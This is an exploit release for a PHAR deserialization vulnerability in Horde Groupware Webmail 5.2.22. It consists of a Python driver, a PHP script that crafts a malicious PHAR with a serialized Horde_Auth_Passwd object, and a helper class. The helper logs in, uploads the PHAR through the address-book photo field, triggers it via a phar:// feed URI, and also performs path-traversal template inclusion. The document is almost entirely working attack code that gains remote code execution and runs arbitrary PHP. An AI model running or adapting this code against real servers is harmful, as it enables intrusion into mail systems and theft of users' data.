Horde Groupware Webmail Edition version 5.2.22 suffers from a PHAR loading vulnerability.
a7ecaece4f3b0c06f5724fbec9e56dd7
## exploit-phar-loading.py
#!/usr/bin/env python3
from horde import Horde
import requests
import subprocess
import sys
TEMP_DIR = '/tmp'
WWW_ROOT = '/var/www/html'
if len(sys.argv) < 5:
print('Usage: <base_url> <username> <password> <filename> <php_code>')
sys.exit(1)
base_url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
filename = sys.argv[4]
php_code = sys.argv[5]
source = '{}/{}.phar'.format(TEMP_DIR, filename)
destination = '{}/static/{}.php'.format(WWW_ROOT, filename) # destination (delete manually)
temp = 'temp.phar'
url = '{}/static/{}.php'.format(base_url, filename)
# log into the web application
horde = Horde(base_url, username, password)
# create a PHAR that performs a rename when loaded and runs the payload when executed
subprocess.run([
'php', 'create-renaming-phar.php',
temp, source, destination, php_code
], stderr=subprocess.DEVNULL)
# upload the PHAR
with open(temp, 'rb') as fs:
phar_data = fs.read()
horde.upload_to_tmp('{}.phar'.format(filename), phar_data)
# load the phar thus triggering the rename
horde.trigger_phar(source)
# issue a request to trigger the payload
response = requests.get(url)
print(response.text)
## exploit-phar-loading.py EOF
## create-renaming-phar.php
#!/usr/bin/env php
<?php
// the __destruct method of Horde_Auth_Passwd eventually calls
// rename($this->_lockfile, $this->_params['filename']) if $this->_locked
class Horde_Auth_Passwd {
// visibility must match since protected members are prefixed by "\x00*\x00"
protected $_locked;
protected $_params;
function __construct($source, $destination) {
$this->_params = array('filename' => $destination);
$this->_locked = true;
$this->_lockfile = $source;
}
};
function createPhar($path, $source, $destination, $stub) {
// create the object and specify source and destination files
$object = new Horde_Auth_Passwd($source, $destination);
// create the PHAR
$phar = new Phar($path);
$phar->startBuffering();
$phar->addFromString('x', '');
$phar->setStub("<?php $stub __HALT_COMPILER();");
$phar->setMetadata($object);
$phar->stopBuffering();
}
function main() {
global $argc, $argv;
// check arguments
if ($argc != 5) {
fwrite(STDERR, "Usage: <path> <source> <destination> <stub>\n");
exit(1);
}
// create a fresh new phar
$path = $argv[1];
$source = $argv[2];
$destination = $argv[3];
$stub = $argv[4];
@unlink($path);
createPhar($path, $source, $destination, $stub);
}
main();
## create-renaming-phar.php EOF
## horde.py
import re
import requests
class Horde():
def __init__(self, base_url, username, password):
self.base_url = base_url
self.username = username
self.password = password
self.session = requests.session()
self.token = None
self._login()
def _login(self):
url = '{}/login.php'.format(self.base_url)
data = {
'login_post': 1,
'horde_user': self.username,
'horde_pass': self.password
}
response = self.session.post(url, data=data)
token_match = re.search(r'"TOKEN":"([^"]+)"', response.text)
assert (
len(response.history) == 1 and
response.history[0].status_code == 302 and
response.history[0].headers['location'] == '/services/portal/' and
token_match
), 'Cannot log in'
self.token = token_match.group(1)
def upload_to_tmp(self, filename, data):
url = '{}/turba/add.php'.format(self.base_url)
files = {
'object[photo][img][file]': (None, filename),
'object[photo][new]': ('x', data)
}
response = self.session.post(url, files=files)
assert response.status_code == 200, 'Cannot upload the file to tmp'
def include_remote_inc_file(self, path):
# vulnerable block (alternatively 'trean:trean_Block_Mostclicked')
app = 'trean:trean_Block_Bookmarks'
# add one dummy bookmark (to be sure)
url = '{}/trean/add.php'.format(self.base_url)
data = {
'actionID': 'add_bookmark',
'url': 'x'
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot add the bookmark'
# add bookmark block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save-resume',
'app': app,
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot add the bookmark block'
# edit bookmark block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save',
'app': app,
'params[template]': '../../../../../../../../../../../' + path
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot edit the bookmark block'
# evaluate the remote file
url = '{}/services/portal/'.format(self.base_url)
response = self.session.get(url)
print(response.text)
# remove the bookmark block so to not break the page
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
# XXX token not needed here
'row': 0,
'col': 0,
'action': 'removeBlock'
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot reset the bookmark block'
def trigger_phar(self, path):
# vulnerable block (alternatively the same can be obtained by creating a
# bookmark with the PHAR path and clocking on it)
app = 'horde:horde_Block_Feed'
# add syndicated feed block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save-resume',
'app': app,
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot add the syndicated feed block'
# edit syndicated feed block
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
'token': self.token,
'row': 0,
'col': 0,
'action': 'save',
'app': app,
'params[uri]': 'phar://{}'.format(path)
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot edit the syndicated feed block'
# load the PHAR archive
url = '{}/services/portal/'.format(self.base_url)
response = self.session.get(url)
# remove the syndicated feed block so to not break the page
url = '{}/services/portal/edit.php'.format(self.base_url)
data = {
# XXX token not needed here
'row': 0,
'col': 0,
'action': 'removeBlock'
}
response = self.session.post(url, data=data)
assert response.status_code == 200, 'Cannot reset the syndicated feed block'
## horde.py EOF